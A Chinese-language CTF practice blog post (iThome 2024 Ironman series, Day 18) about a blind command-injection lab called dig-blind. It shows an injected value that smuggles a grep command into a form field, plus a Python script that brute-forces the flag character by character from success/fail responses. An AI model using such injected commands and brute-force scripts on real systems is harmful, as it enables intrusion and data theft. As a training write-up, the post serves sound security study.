IThome 2024 鐵人賽 一直刷 CTF - Day18

前言

本日進度:

上課紀錄

Lab - dig-blind

他只會回傳 successfail,先試試看 '; grep -q "NCKUCTF{d19_" /fl* && exit 0 || exit 1' ,好欸,他回傳 success !!!!

但每一位都用人工猜有點太慢,可以寫個程式根據他回傳的 0 1 訊號反推 flag ,最笨的方法就是直接一個個慢慢枚舉,這樣複雜度會是 O (NK) , N 是字串長度,K 是枚舉的字元集數量,根據之前的觀察字元集應該是 0123456789abcdefghijklmnopqrstuvwxyz_!{} ,雖然我想到比較好的方法是把每個字轉 ASCII ,再用二進位表示,這樣就只會最多 7 次就知道那一個字是啥了,能壓到 O (N),但這樣寫有點累,而且字元集也不算太多,要是真的不行就再拿多執行緒來用也可以變成 O (N)

我的 python 程式碼:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests

url = "http://140.116.246.59:28116/"
prefix = "NCKUCTF{d19_"
charset = "0123456789abcdefghijklmnopqrstuvwxyz_!}"
flag = prefix

while not flag.endswith("}"):
for char in charset:
payload = f"'; grep -q \"{flag + char}\" /fl* && exit 0 || exit 1'"
data = {'name': payload}

response = requests.post(url, data=data)

if response.text.count("success") == 2:
flag += char
print(f"Found: {flag}")
break

print(f"Final Flag: {flag}")
Image

參考資料